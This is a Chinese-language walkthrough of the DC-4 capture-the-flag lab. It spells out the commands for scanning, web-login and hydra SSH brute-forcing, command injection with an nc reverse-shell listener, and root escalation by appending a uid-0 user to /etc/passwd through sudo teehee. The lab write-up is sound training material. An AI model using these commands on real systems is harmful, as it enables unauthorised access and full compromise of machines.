信息收集
主机发现
利用apr-scan或者nmap探测靶机的IP地址
arp-scan -l
扫描开放端口及对应服务
nmap -sV -p- 192.168.56.117
分析:
通过扫描所得结果分析,开放了22(ssh),80(http)
web服务器为Nginx 1.15.10,操作系统为Debian
漏洞发现
暴力破解登录页面
访问80端口,是一个登录页面没有验证码验证,经过测试也没有登录次数限制,所以这可以进行暴力破解
通过返回的长度猜测暴破成功
命令注入
成功登录,通过页面中system tools command等英文单词猜测可能存在命令注入
进入command,run执行,可以看到成功执行了 ls -l 命令
这里抓包进行分析,成功执行两条命令
漏洞利用
nc反弹shell
既然可以执行命令,这就可以直接利用nc反弹shell
kali中监听端口
nc -lvvp 2333
执行nc
可以看到kali中反弹成功,利用python获取交互式shell
python -c "import pty;pty.spawn('/bin/bash')"
这里是www-data的权限,sudo -l发现需要www-data的密码,没得办法只好跳过,另外想办法
到home目录看到charles jim sam 三个目录,其中charles和sam什么也没有,jim中存在文件目录
backups目录中是个密码字典,既然有字典首先想到就是暴破,这先记着看还有没其他思路
mbox没有读的权限
test.sh是个shell脚本权限为777也不知道有没有用
另外两个暂时没什么思路,这就先利用密码字典进行暴破,因为开放了ssh服务,第一个想到的就是利用hydra暴破ssh。有了这个思路由于字典在目标上,需要将字典传到kali上,这里我利用python搭建了http服务器,利用kali访问下载
python -m SimpleHTTPServer 8000
点击下载即可
这我将它重命名了
hydra ssh暴破
接下来进行暴破,且成功暴破出密码
hydra -l jim -P old-passwords.txt -t 30 -f 192.168.56.117 ssh
利用暴破出来的密码登录ssh
首先还是sudo -l 输入密码 ,弹出说在dc-4中jim用户不能执行sudo,但是下面有个提示,有个新邮件在/var/mail/jim中。
根据提示cat打开文件,直接就得到了charles用户的密码
用户直接切换成功,还是普通用户权限,接着就是提权了
提权
再次利用sudo -l 看到charles用户可以无密码以root执行teehee
teehee没见过这个命令 --help查看,了解到teehee -a 可以写入文件内容并不覆盖文件原有内容。
最后还是通过百度了解到如何利用teehee提权
向/etc/passwd里面直接写入一个用户,uid写为0,gid写为0
echo "baba::0:0:::/bin/bash" | sudo teehee -a /etc/passwd
切换到baba用户,id查看为root用户,提权成功
进入root目录 cat flag.txt